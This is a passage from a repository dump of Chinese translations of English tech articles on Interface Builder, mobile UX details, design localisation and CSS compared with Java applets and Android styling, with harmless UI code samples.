的舒适区中，你就只能依靠别人从别的编程语言中提取这些见解，并以比较浅显的方式展现出来。\n\n\n学习新的语言也会影响你看待第一门语言的方式。当我开始学习葡萄牙语时，它改变了我看待英语的方式。当你不得不以一种其他的方式做事情时，它会强迫你以母语来思考如何做。你不再觉得理所当然，而是会开始追根溯源。你可以看到一些语言的相似之处：例如葡萄牙语和英语都是起源于拉丁语，它们的一些动词很接近，你可以轻易猜出它们的意思。对于编程语言也是一样，特别是你还只会一个的时候。接触其他语言下将会帮助你思考设计 JavaScript 时所采取的设计选择。一个更为具体的例子是，学习一门支持类继承的语言可以让你对比其与 JavaScript 原型对象继承体系的不同之处。\n\nWebAssembly (WASM)，一个实验中的偏底层语言，将很快可以在浏览器中使用。C 和 C++ 等高级语言将可以编译成 WASM，并获得比 JavaScript 更小的文件和更出色的表现。这将把浏览器向其他语言开放，在未来将一定会有越来越多的语言可以被编译成 WASM。JavaScript 的创造者 Brendan Eich 最近说他可以预见 [JavaScript 在未来可能会过时](http://www.infoworld.com/article/3175024/web-development/brendan-eich-tech-giants-could-botch-webassembly.html)。可以确定的是，JavaScript 将会在长时间内依然重要，但使用另一门语言肯定不会伤害你的就业前景，也可以避免你被局限于 JavaScript 开发的小笼子里。\n\n### 更多篇文章 ###\n\n\n* [Behind the Scenes: A Look at SitePoint's Peer Review Program](https://www.sitepoint.com/behind-the-scenes-sitepoints-peer-review-program/?utm_source=sitepoint&amp;utm_medium=relatedinline&amp;utm_term=&amp;utm_campaign=relatedauthor)\n* [SitePoint Needs You: The 2017 JavaScript Survey](https://www.sitepoint.com/2017-javascript-survey/?utm_source=sitepoint&amp;utm_medium=relatedinline&amp;utm_term=&amp;utm_campaign=relatedauthor)\n\n如果你真的没有时间学习新的语言，你不必远离 JavaScript 就可以获得我刚刚提到的好处。上周我们出版了完全用 TypeScript 编写的[the second part of our Angular 2 tutorial series](https://www.sitepoint.com/understanding-component-architecture-angular/)。TypeScript 是 JavaScript 的超集，所以你知道的大部分都会应用。它添加了静态类型和接口以及装饰器的概念（后者将会出现在 JavaScript 下一个版本中）。花费一些时间学习 TypeScript 将会加深你对静态语言和动态语言的理解，也会扩展你作为 JavaScript 程序员的知识面和就业能力。作为 Angular 2 的默认编程语言，就业前景很广阔。你从中学习到的理念会让你将来学习 Java 或者 Scala 更为简单。\n\n你会用除了 JavaScript 之外的编程语言吗？对于 JavaScript 程序员学习的第二门语言又有什么好的建议？WebAssembly 将会改变游戏规则吗？我很乐意听取你们的意见，在下方给我评论吧！\n\n这篇文章有用吗？\n"
  },
  {
    "path": "TODO/life-without-interface-builder.md",
    "content": "> * 原文地址：[Life without Interface Builder](https://blog.zeplin.io/life-without-interface-builder-adbb009d2068)\n> * 原文作者：[Zeplin](https://blog.zeplin.io/@zeplin_io?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/life-without-interface-builder.md](https://github.com/xitu/gold-miner/blob/master/TODO/life-without-interface-builder.md)\n> * 译者：[Ryden Sun](https://github.com/rydensun)\n> * 校对者：[talisk](https://github.com/talisk) [allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 没有 Interface Builder 的生活\n\n![](https://cdn-images-1.medium.com/max/800/1*UTs12drXJKnouZTb5jP79A.png)\n\n在过去的几个月，在 Zeplin 的 macOS 版本 app 中，我们开始在开发一些新的功能时，不使用 Interface Builder 或者 Storyboards。\n\n在 iOS/macOS 社区，这是一个很具有争议性的话题，并且作为一个之前极其依赖 Interface Builder 的团队，我们想用一些真实的案例，来分享一下我们为什么做了这个转换。即便这篇文章是从 macOS 方面出发的，但其中我提到的任何东西都可以被应用到 iOS 上。\n\n### 为什么？\n\n在用了两年的 Objective-C 后， Zeplin 在 2015 年末，第一次用 Swift 来编写其中一个模块。从那以后，我们一直使用 Swfit 开发新的功能并且逐渐地迁移之前存在的部分。目前，macOS 版本的 app，有 75% 是用 Swift 编写的。\n\n有趣的是，在我们刚开始用 Swift 时，就开始考虑放弃 Interface Builder。\n\n#### 太多的可变类型\n\n在 Swift 中使用 Interface Builder 会带来很多 optional（Swift 中的可选类型），而且它们都不属于类型安全的域。我也不是仅仅在讨论 outlets，如果你在 Storyboards 中使用 segues，你的**数据模型中的 property 也会变成可选类型**。事情就是在这里变得不受控制。你的 view controller 是要求 property 正常工作的，现在它们变成了 optional，你就开始到处写 `guard`，开始变得混乱，考虑在哪里能够优雅地处理它们，哪里能简单地从 `fatalError` 中逃脱出来。这是很容易出错的，而且会明显地降低代码的可读性。\n\n> 你的 view controller 是要求 property 正常工作的，现在它们变成了 optionals，你就开始到处写 `guard`。\n\n……除非你使用 Implicitly Unwrapped Optionals（隐式解析可选），使用操作符`!`。这在大多数时候是有用的，不会出现任何问题，但这样感觉是在欺骗 Swift 平台。我们大多数人相信，Implicitly Unwrapped Optionals 应该在极少数的场景下使用，而且在日常开发中是应该避免在 Storyboards 中使用。\n\n#### 设计的改变\n\n在 Objective-C 写布局代码还不算太糟，但是使用 Swift 就变得更简单了，并且最重要的是，更易读。声明 Auto Layout 的 constraints 很轻松也很漂亮，这要感谢像 [Cartography](https://github.com/robb/Cartography) 这样的库。\n\n```\n// 创建 property 时定义外观表现\nlet editButton: NSButton = {\n    let button = NSButton()\n    button.bordered = false\n    button.setButtonType(.MomentaryChange)\n    button.image = NSImage(named: \"icEdit\")\n    button.alternateImage = NSImage(named: \"icEditSelected\")\n    \n    return button\n}()\n\n…\n\n// 用 Cartography 声明 Auto Layout 限制\nconstrain(view, editButton, self) { view, editButton, superview in\n    editButton.left == view.right\n    editButton.right <= superview.right - View.margin\n    editButton.centerY == view.centerY\n}\n```\n\n我猜想，我们可以将使用 Interface Builder 的开发者分为两种类型：一类是只用来做 Auto Layout 和 segues 的，一类是也会用来附加设计的；在 Interface Builder 设置颜色，字体和其他可视化的属性。\n\n> 在使用 Interface Builder 时，你会发现你自己在复制粘贴你之前写好的视图 —— 并且你都不会对这种行为感到不好。\n\n我们 _稍稍微地_ 属于第二种类型 ！Zeplin 是一个常变的 app，当只有设计元素改变的时候，这最终就开始困扰我们了。让我们假设，你只需要改变一个公用按钮的背景颜色。你需要打开每一个 nib 文件并且手动的改变它们。当这个需要经常重复的时候，你就会可能漏掉一些。\n\n当你使用纯代码来编写视图时，**这会激励你复用代码**。正相反，在使用 Interface Builder 时，你会发现你自己在复制粘贴你之前写好的视图 —— 并且你都不会对这种行为感到不好。\n\n#### 可复用的视图\n\n根据 Apple 的观点，Storyboards 是未来。从 Xcode 8.3开始，我们在开发项目的时候，都没有一个可以不使用 Storyboards 的选项。😅 这确实很令人伤心，**这都没有一个直接了当的方法来复用 Interface Builder 中的视图**。\n\n这就是为什么，我们发现自己一直用纯代码来编写一些常用的公共视图。创建一个可以同时用代码和 nib 初始化的视图也是棘手的，强制你去实现两个构造器并且去做同样的初始化行为。当你只是用代码时，你可以安全的忽略 `_init?(coder: NSCoder)_`。\n\n#### 转换背后\n\n在转换之后，我们有了一个认知：使用代码构建界面提升了我们对于 `UIKit` 和 `AppKit` 组件的理解。\n\n我们在转换一些之前用 nib 实现的旧的功能。当我们尝试去保留外观，我们必须去学习更多的关于不同的属性在做什么和他们是如何影响一个组建的外观。在之前，他们只是被 Interface Builder 默认设置的一些选择和复选框，而且它们就这样起作用了。\n\n> 使用代码构建界面提升了我们对于 `UIKit` 和 `AppKit` 组件的理解。\n\n对于导航性的组件，像 `UINavigationController`，`UITabBarController`，`NSSplitViewController` 这些都是可行的。尤其对于新手来说，他们极其依赖于这些组件但又不是真正地理解它们在幕后是怎么工作的。当你尝试用代码来初始化和使用它们时，就会立即感觉很舒服。\n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*xOHvn40BYFM2GyaNAvLsCQ.gif?q=20)\n\n![](https://cdn-images-1.medium.com/max/800/1*xOHvn40BYFM2GyaNAvLsCQ.gif)\n\nZo 在打开一个庞大的 Storyboard 时很煎熬。\n\n#### 调试的问题\n\n是否曾有过一个 bug，你花费几分钟时间来追溯并且最终发现，造成它的原因是一个没有被连接起来的 outlet 或者是 nib 中一个你无意中改变的选项？\n\n每一个你用代码创建的组件都会被包在一个单独的源文件，因此你不需要去担心在 nib 和源文件之间的跳转。这会帮助我们在调试问题是更迅速，并且一开始就会引入更少的 bug。\n\n#### 代码审核和合并冲突\n\n为了读懂和理解透彻 nib，你要不得是一个 nib 奇才，要不你就得花费相当多的时间！这就是为什么**大多时间，人们都直接在审核代码时略过 nib 的改动，因为它太吓人了。**想一想这些潜在的可视的 bug 可能会因为在代码中使用常量和文字直接被消除掉。\n\n在反对 nib 的声音中，冲突的合并是你会最经常听到的抱怨。如果你曾在一个使用 nib，尤其是 Storyboards 的项目中工作过，你可能也亲身经历过。你知道这通常意味着：一个人的工作会需要被回滚然后再重应用。这些事最令人烦躁的冲突，而且当你团队变大时，会变得越来越让人沮丧。你可以相应地分配任务，这在大多数时候可以克服这个问题。但在 Storyboards，即使在你单独写一个 ViewController 时，这样的问题都可能发生。\n\n出人意料的，当时这对于 Zepin 来说，不算是个问题 —— 因为我们是一个比较小的团队，我猜。这也是为什么我把这一点放到了最后来说。\n\n### 结论\n\n我已经列出了很多的原因来解释为什么停止使用 Interface Builder 是一个好主意，但别误会，有一些用例下，使用 Interface Builder 也是有道理的。即使我们故意省略这些用例，因为我们目前，在没有 Interface Builder 的情况下更加开心了。\n\n不要害怕去实践，并且去看看这是否也适合你们的工作流程！\n\n* * *\n\n感谢我们可爱的 [@ygtyurtsever](https://twitter.com/ygtyurtsever)。让我们知道你是怎么想的，在下面留言吧！👋\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/little-big-details-for-your-mobile-app.md",
    "content": "> * 原文地址：[Little Big Details For Your Mobile App](http://babich.biz/little-big-details-for-your-mobile-app/)\n* 原文作者：[Nick Babich](http://babich.biz/author/nick/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[mypchas6fans] (https://github.com/mypchas6fans)\n* 校对者：[DeadLion] (https://github.com/DeadLion) [siegeout] (https://github.com/siegeout)\n\n# 开发移动应用，你应该注意这些小细节\n\n你的 app 的成功涉及很多因素，但最重要的是总体用户体验。市场上脱颖而出的 app 都提供了很棒的 UX。具体到设计移动 UX，遵从最佳实践是一个好方法，但是构建蓝图的时候，往往容易忽略一些锦上添花的设计元素。而“不错的体验”和“非凡的体验”之间，通常取决于我们设计这些小细节的用心程度。\n\n通过本文你可以看到这些 __小中见大的细节__ 和设计中那些更明显的元素同样重要，以及它们如何决定 app 的成功。\n\n## 启动页\n\n当用户打开 app 时，最不能做的事情就是让他们等待。但是如果 app 的初始设置非常耗时，又 __不可能__ 优化该怎么办？你 __不得不__ 让用户等。如果他们愿意等，你得知道如何 __吸引他们__。启动页解决了等待的问题，让你有一个简洁有力的窗口来吸引用户。\n\n![](http://babich.biz/content/images/2016/08/1-kA8WMVt3-7UxbCYieFoOsg.png)\n\n图片来源: mobile-patterns\n\n这里有一些小贴士，在设计启动页的时候记得注意：\n\n*   [Google](https://developer.android.com/training/articles/perf-anr.html) 和 [Apple](https://developer.apple.com/ios/human-interface-guidelines/graphics/launch-screen/) 都建议用启动页 __模拟更快的加载__ 来提高用户体验。启动页给到用户即时反馈，表示 app 已经启动并正在加载。 为了保证人们等待的时候不厌倦，给他们一些 __娱乐__：有意思的，意想不到的，或者任何可以抓住用户注意力的东西，时间长到够 app 启动就好。\n\n    ![](http://babich.biz/content/images/2016/08/1-88tQ_gtQrWY7LQXUMglNzg.gif)\n\n    图片来源: Cuberto\n\n*   如果 app 的初始设置超过 10 秒钟，考虑使用 [进度条](http://babich.biz/progress-indicators/) 来表示正在加载。__记住，不确定时间的等待给人的感觉要比确定时间的等待更加漫长__。所以，你要给用户一个清晰的标识，他们需要等多长时间。\n\n    ![](http://babich.biz/content/images/2016/08/1-Qq7rzaTpyd2OndF3zgyZtA.png)\n\n    通过使用进度条让加载过程更自然. 图片来源: de_martin\n\n## 空状态\n\n我们通常会设计一个丰满的界面，布局中的所有元素都完美的放置，看上去很美。但是如果界面正在等待用户操作，该怎么设计？我要说的就是空状态。设计空状态是非常重要的，因为即使它是一个临时状态，它也会是 __app 中的一份子__， 并且对用户 __有用__。\n\n空状态的意义不仅是一个装饰。除了向用户提示界面上将要展现的内容，它还可以作为一种 __导引__ （介绍 app，展示为用户做的事情），或者 __助手__ （出错时的屏幕）。这两种情况下，你都希望用户能做点什么事情，所以，屏幕不会立即变为空状态。\n\n![](http://babich.biz/content/images/2016/08/1-W3q0L25iO7HP6ywPYQJ9lQ.png)\n\n图片来源: inspired-ui\n\n下面是一些设计空状态时的小技巧：\n\n*   __给新手用户设计空状态__。记住新用户的体验很 __重要__。给他们设计空状态的时候要尽量简单。重点放在用户的主要目标，设计互动性最大化：清晰的信息，合适的图像，一个按钮，这就够了。\n\n    ![](http://babich.biz/content/images/2016/08/1-Wg23TxJp1IFCSwpiaZ43zw.png)\n\n    Khaylo Workout 是一个关于空状态设计的很好例子。这个空状态告诉用户为什么会看到当前界面（因为他们还没有挑战任何朋友）以及如何操作（点击 + 图标）. 图像来源: emptystat.es\n\n*   __错误状态__。如果空状态时由于系统或用户错误，你必须在友好度和帮助度之间寻找一个平衡。一点小幽默通常可以抹平出错的沮丧，但是更重要的是你要清楚的说明解决问题的步骤。\n\n    ![](http://babich.biz/content/images/2016/08/1-czn24uzZvVIsLRhc2nVYag.png)\n\n    迷失方向，孤立无援，就像在一个荒岛上？遵从 Azendoo 的建议，保持冷静，点个火，然后继续刷新。图片来源: emptystat.es\n\n## 框架界面\n\n我们通常不考虑内容的不同加载速度——我们一直认为都是立马加载（或者至少非常快）。所以我们通常没有为用户需要等待加载的场合设计。\n\n但是网速不是总是有保障的，它可能比预期的要慢。尤其是下载比较大的内容时（比如图片）。如果你不能缩短时间，至少要让用户等待得舒服一点。你可以用 __临时信息容器__ 来保持用户的注意，比如框架界面和图片占位符。比起转圈的加载提示，框架界面能建立对内容的预期，减少认知的负担。\n\n几点建议:\n\n*   框架界面不必很抢眼。只需要凸显必要的信息，比如段落结构。Facebook 的灰色占位符就是个好例子——它加载时使用了元素模板，让用户熟悉正在加载的内容的整体结构。注意框架界面中的图片和线框并没有很大区别。\n\n    ![](http://babich.biz/content/images/2016/08/1-PGXSupBdpfiGeU6zwfBxNw--1-.jpeg)\n\n*   对正在加载的图片，可以用图片中的主色填充一个占位符。 Medium 有一个很棒的图片加载效果。首先载入一个小的模糊图片，然后慢慢转变成大图。\n\n    ![](http://babich.biz/content/images/2016/08/1-jFvvQCNfMH7rs-QG5DprKg.png)\n\n    真正的图片出现之前，你可以看到模糊图片填充的占位符。图片来源: jmperezperez\n\n## 动画反馈\n\n好的交互设计会提供反馈。在现实世界，像按钮这样的物体会对我们的交互做出反馈。人们会对 app 中的元素有同样水平的期望。可视的反馈让人们有 __掌控感__：\n\n*   它会告知交互的结果，让结果可见并可以理解。\n*   它给用户一个信号，这个对象（或者 app ）执行一个任务成功或者失败。\n\n动画反馈通过即时的信息沟通来节约时间，并且不能让用户厌烦或者分心。最基础的动画反馈就是 __转场__：\n\n![](http://babich.biz/content/images/2016/08/1-JySxzSIszvxYECYOo0Gxag.gif)\n\n当用户看的点击/触摸操作引发的一个动画反馈，他们马上知道这个操作被接受了。图片来源: Ryan Duffy\n\n![](http://babich.biz/content/images/2016/08/1-VQ66RMfNtTLiCX4jqqhlFQ.gif)\n\n当用户点击勾选任务已完成, 包括这个任务的区域就缩小并且变成了绿色。图片来源: Vitaly Rubtsov\n\n使用不同凡响的 [动画](http://babich.biz/animation-in-mobile-ux-design/)，一个 app 可以真正的打动用户。\n下面是关于动画反馈的一些提示：\n\n*   动画反馈必须经久不衰。第一次看着新鲜的东西，100 次之后可能就烦了。\n\n    ![](http://babich.biz/content/images/2016/08/1-DCw_ooNYrwRAs_19o_wcsQ.jpeg)\n\n    图片来源: Rachel Nabors\n\n*   动画可以让用户分心，让他们忽略加载的时间。\n\n    ![](http://babich.biz/content/images/2016/08/1-JzEgzgSjJKV7zxWKPdBAjg.gif)\n\n    图片来源: xjw\n\n*   动画可以让用户体验打动人心，刻骨铭心。\n\n    ![](http://babich.biz/content/images/2016/08/1-l2AHcRcm2Knky-IpD0hP4g.gif)\n\n    图片来源: Tubik\n\n## 总结\n\n__用心设计__。app 的 UI 里面，每个微小的细节都值得密切注意，因为 UX 就是让所有细节协调的总和。所以，请从一而终，持之以恒的打磨你的 UI，创造真正无与伦比的用户体验。\n\n谢谢！\n\n\n\n"
  },
  {
    "path": "TODO/lost-in-translation-the-importance-of-visual-design-localisation.md",
    "content": "> * 原文地址：[Lost in Translation: the importance of visual design localisation](https://medium.com/carwow-product-engineering/lost-in-translation-the-importance-of-visual-design-localisation-b75586eec030#.i73b3ayad)\n* 原文作者：[Jexyla](https://medium.com/@jexyla)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cbangchen](https://github.com/cbangchen)\n* 校对者：[siegeout](https://github.com/siegeout) [mypchas6fans](https://github.com/mypchas6fans)\n\n# 视觉设计本地化的重要性\n\n与最新发布的德国网站 carwow 对比，我们不可避免的发现自已需要去为国外市场的网站内容作出适配。有些人觉得这件事情并不是很复杂，只是简单的将已有的网站内容翻译成另一种语言而已。\n\n事实上...这大错特错了。\n\n翻译本身不是万能的，而且我们很快就发现让**可爱的**德文适应我们为英文而创建的漂亮和均衡的布局结构是一件非常困难的事情。另一件事实是，对于一个说英语的人来说，德语单词看起来出奇的长，以至于几乎占据了之前两倍的空间。需要为此改变线条的位置和页面的分页情况（图片 1 和图片 2 可供参考）\n\n![](https://cdn-images-1.medium.com/max/1600/1*uBAFNluIlJcBY7KaRc-ewg.png)\n\n图片 1：英文标语\n\n![](http://ac-Myg6wSTV.clouddn.com/7305f2176f86d22e0272.png)\n\n\n图片 2：德文翻译标语\n\n很明显的是，我们无法直接复制黏贴翻译过的文字，然后期待这些文字不需要经过任何调整就能适应版面。我们真的需要重新思考每个页面的布局确保一切都显得到位。同时，就像前面已经说过的，这不仅仅是关于翻译，也关于是否能够在不同的文化中传达相同的信息。\n\n当处理本地化和国际化的时候，这里有三件事你必须记住。\n\n**1\\. 良好的文案技能** 这似乎是显而易见的，但没有什么会比一个很好的文案更重要。文字在设计中起着重要的作用，为人们对你的网站和产品的第一印象的产生做出了卓越的贡献。好的文案不止要求语法和拼写上没有错误，而且要求文字更加美好和更具有吸引力。所以说字面的翻译没有用，特别是文字太长或者丢掉了原文中的双关语的时候。\n\n**2\\. 为背景而设计** 我们都知道，**一图胜千言**。 所以，当涉及到视觉的时候，没有什么比选择最好的图像更重要了。图片要求具有相关性和容易被理解，并且要符合文化背景。对于我们的德文主页来说，举个例子，我们决定使用一个不同的主页横幅，让德国人更容易联想到他们自身而不是我们的英国网站。\n\n![](http://ac-Myg6wSTV.clouddn.com/f3ccc405db38b7fd7905.jpeg)\n\n德国主页的主页横幅\n\n**3\\. 全球思考，本地行动** 设计真的是用来解决问题的，不同的市场出现不同的问题。一个解决方案控制一切吗？来自不同国家的人会有不同的想法吗？根据本地文化的不同，看起来很有逻辑性的事情对于另一个人来说却不一定如此。虽然互联网帮助我们缩小彼此的距离，让我们感觉像是一个大社区里面的一员，但依然保持了一定的多元性，甚至当人们使用相同的产品的时候，会感受到截然不同的体验。\n\n#### 结论\n\n并没有很多关于这一个主题的文档记录，看一下其他的网站，他们通常是将不同的语言进行转换，而不是进行 “本地化” 或 “国际化”，设计保持不变。视觉设计本地化不应该被这样的低估，因为它的重要性远超过翻译本身。最后，我们需要记住的最重要的事情是，设计是为人类而做的工作，我们需要很好地理解目标文化才能作出针对性的设计。\n"
  },
  {
    "path": "TODO/love-letter-css.md",
    "content": "> * 原文地址：[A Love Letter to CSS](http://developer.telerik.com/topics/web-development/love-letter-css/)\n> * 原文作者：[TJ VanToll](http://developer.telerik.com/author/tvantoll/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[changkun](https://github.com/changkun)，[CACppuccino](https://github.com/CACppuccino)\n\n# 一封写给 CSS 的情书\n\n![http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg](http://developer.telerik.com/wp-content/uploads/2017/05/css_love_header.jpg)\n\n当我和同事们谈及我对 CSS 的热爱有增无减时，他们一个个盯着我看，好像我做了个不幸的人生决定一样。\n\n> “TJ，来坐这，我们来聊聊你小时候做的那个糟糕的选择是如何注定你一生的失败的。”\n\n有时候我觉得开发者们 —— 这星球上最固执己见的一批人 —— 只有一条共识：CSS 是最垃圾的。\n\n![](https://ws2.sinaimg.cn/large/006tNc79gy1fgcf54bv9uj30eo062dga.jpg)\n\n嘲讽 CSS 是在技术大会上博众人一笑的最佳手段之一，黑 CSS 的表情包也早已泛滥成灾，我觉得不放两个在这都对不起大家。\n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/css-mug.jpg)\n![](http://developer.telerik.com/wp-content/uploads/2017/05/css-blinds.gif)\n\n但是今天我要给你们洗洗脑了。我要说服你相信 CSS 是你日常所使用的最好的技术之一，CSS设计精美，每次你打开 `.css` 文件的时候都应该心存感激！\n\n我的论点相当简单明了：为构建复杂的用户界面创建一个全面的样式系统是非常困难的，任何 CSS 的替代方案都只会比 CSS 更糟而已。\n\n为了论证我的观点，我会将 CSS 同其他几种样式系统相比较，首先来看一种比较古老的技术。\n\n## 天哪，还记得 Java applets 吗？\n\n大学期间我曾用 Java applets 技术编写过一些应用，这是一种现在几乎已经被淘汰了的技术。Java appltes 基本上就是一些 Java 应用，你可以使用 `<applet>` 标签随意地将其嵌入浏览器中。运气好的话，可能有一半用户在本地安装了版本正确的 Java，并能成功运行你的应用。 \n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/java-applet.jpg)\n\n**一个简单的 Java applet，带你回到 90 年代末**\n\nJava applets 在 1995 年推出，并在随后的几年里逐渐流行了起来。如果你在 90 年代末就已经在出来浪了的话，那你应该记得那场关于 web 技术和 Java applets 的技术论战。\n\n和大多数用于构建用户界面的技术一样，Java applets 允许你改变用户界面上各种控件的外观。而且由于 Java applets 被视为 web 开发的合理替代技术，有时会将在 applets 中进行控件布局的便捷性和用 web 技术实现相同的功能作比较。\n\nJava applets 显然没有使用 CSS，那它究竟是如何进行 UI 布局的呢？并不容易。\n尝试用谷歌搜索“在 Java applet 中改变按钮颜色”，[返回的第一条结果代码如下：](http://www.java-examples.com/change-button-background-color-example).\n\n```\n/*\n        改变按钮背景颜色的例子\n        该 java 示例展示了如何使用 AWT Button 类改变按钮背景颜色\n*/\n\nimport java.applet.Applet;\nimport java.awt.Button;\nimport java.awt.Color;\n\npublic class ChangeButtonBackgroundExample extends Applet{\n\n    public void init(){\n\n        //创建按钮\n        Button button1 = new Button(\"Button 1\");\n        Button button2 = new Button(\"Button 2\");\n\n        /*\n          * 为了改变按钮背景颜色，使用\n          * setBackground(Color c) 方法。\n          */\n\n        button1.setBackground(Color.red);\n        button2.setBackground(Color.green);\n\n        //添加按钮\n        add(button1);\n        add(button2);\n    }\n}\n```\n首先应该注意的是，Java applets 没有提供将代码逻辑和样式进行分离的方法，就像你可能在网页上使用 HTML 和 CSS 一样。它将作为本文剩余部分的主题。\n\n其次，创建两个按钮并改变其背景颜色需要编写**大量**代码。此刻你要是在想，“呵呵，这种方法在开发实际应用的时候很快就会变得不可控了”，那么你便开始能理解为什么 web 技术最终战胜了 Java Applets 了。\n\n\n话虽如此，但我知道你在想什么。\n\n> “TJ，你还没有完全说服我 CSS 的样式系统比 Java Applet 的更好呢。你这标准应该设得更高一点嘛。”\n\n没错，Java applet 的可视化 API 并非界面设计的黄金准则，因此让我们将注意力转到当前的开发中来：Android 应用。\n\n## 为什么说 Android 应用的样式布局很难？\n\n在某些方面，Android 可以说是现代化的高级版 Java applets。同 Java applets 一样，Android 也使用 Java 作为开发语言。 （不过，根据[谷歌最近在 Google I/O 大会上的声明]((https://techcrunch.com/2017/05/17/google-makes-kotlin-a-first-class-language-for-writing-android-apps/))，你很快就能使用 Kotlin 语言了。）但与 Java applets 不同的是，Android 包含一系列约定，使得构建用户界面更加容易，也更像是在构建 web 应用。\n\n在 Android 应用中，界面控件的定义写在 XML 文件中，而与这些控件交互的逻辑则写在单独的 Java 文件中。这点很像 web 应用 —— HTML 文件负责标签结构，独立的 JavaScript 文件负责行为逻辑。\n\n如下代码是一个非常简单的 Android “activity”（基本就是个页面）的标签结构：\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\"\n    tools:context=\"com.telerik.tj.testapp.MainActivity\">\n\n    <Button\n        android:id=\"@+id/button\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:text=\"Hello World\" />\n\n</android.support.constraint.ConstraintLayout>\n```\n这对 web 开发者而言可能会有点晕，但请记住，一个基本的“index.html”文件也有其怪异之处。 你在这里看到的是两个 UI 组件，一个 `<android.support.constraint.ConstraintLayout>` 和一个 `<android.widget.Button>`，每个组件又有各种属性。直观起见，上述应用在 Android 手机上的运行效果如下图所示。\n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/simple-android-app.jpg)\n\n让我们回到本文主旨上来，如何为这些组件赋予样式呢？和 web 中的 `style` 属性类似，基本上 Android 的每个 UI 组件都有各种属性，你可以为这些属性赋值来控制组件的外观。\n\n例如，如果你想改变上例中按钮的背景颜色，你可以使用 `android:background` 属性。在下面的代码中我便应用了该属性使按钮背景变为红色。\n\n```\n<Button\n    android:id=\"@+id/button\"\n    android:layout_width=\"wrap_content\"\n    android:layout_height=\"wrap_content\"\n    android:text=\"Hello World\"\n    android:background=\"#ff0000\" />\n```\n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/android-red-button.jpg)\n\n到现在为止还挺好。 Google 推荐的 Android 开发环境 Android Studio 甚至提供了一个强大的可视化编辑器，可以很容易地配置其中的一些常见属性。 下面的图片显示了这个示例应用程序在 Android Studio 中的设计视图。 请注意，你可以使用屏幕右侧的窗格轻松配置诸如“背景”等属性。\n\n![](http://developer.telerik.com/wp-content/uploads/2017/05/android-visual-editor.jpg)\n\n通过类似设计试图这样的工具，将一些基础样式应用于 Android 界面控件是非常简单的。不过，Android 的优点也就止于此了。\n\n实际应用开发所需要的可远不止基础样式，根据我个人的经验，处理复杂样式是 Android 代码之冗余而 CSS 代码之简洁的分水岭。举例来说，假设你需要创建一个易于复用的键值对的集合——类似于 CSS 中的 class。在 Android 中也可以做类似的事情，不过很快就会变得一团糟。\n\nAndroid 应用有一个 `styles.xml` 文件，可以在其中创建具有层级结构的 XML 代码块。例如，假设你想要应用中所有的按钮都具有红色的背景，那你可以使用如下代码创建一个 “RedTheme” 样式：\n\n```\n<style name=\"RedTheme\" parent=\"@android:style/Theme.Material.Light\">\n  <item name=\"android:buttonStyle\">@style/RedButton</item>\n</style>\n\n<style name=\"RedButton\" parent=\"android:Widget.Material.Button\">\n  <item name=\"android:background\">#ff0000</item>\n</style>\n```\n\n如此，你便可以将 `android:theme=\"@style/RedTheme\"` 属性应用到对应的顶层 UI 组件中。如下代码所示，我将该属性应用到了上文示例中的顶层布局组件中。\n\n```\n<android.support.constraint.ConstraintLayout\n    ...\n    android:theme=\"@style/RedTheme\">\n```\n\n这可以实现所需效果，在此布局组件中的所有按钮确实变成了红色，不过我们可以回过头想一下。在 CSS 中一行 `button { background: red; }` 就可以搞定的事情，竟然要用那么多 XML 代码。而且随着应用越来越大，这种方式也只会变得越来越复杂。\n\n一般来说，Android 中稍微复杂点的样式往往需要涉及到嵌套的 XML 配置文件或是一大堆用于创建可扩展组件的 Java 代码——无论哪种方式都不能令我满意。\n\n再来看看动画。Android 有一些内建的动画效果，这些是很好的，用起来也很方便，但是自定义动画则必须用 Java 代码来实现。（这里有个[例子](https://developer.android.com/training/animation/crossfade.html)。）Android 中没有类似 CSS 动画的东西，不可能将动画的配置管理和应用样式写在一起。\n\n再来看看媒体查询（media queries）。Android 允许你实现类似于 CSS 媒体查询的属性并将其用于 UI 组件中，但这完全是耦合在标签结构中的，根本无法在页面或视图间复用。\n\n为了让你能更好地理解 Android 中的媒体查询，下面是 Android 文档[支持多种屏幕尺寸](https://developer.android.com/training/multiscreen/screensizes.html)中的第一个代码示例。我将其原样摘抄如下，下次你再抱怨 CSS 媒体查询的时候，可以拿来做个对比。\n\n```\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:orientation=\"vertical\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\">\n    <LinearLayout android:layout_width=\"match_parent\"\n                  android:id=\"@+id/linearLayout1\" 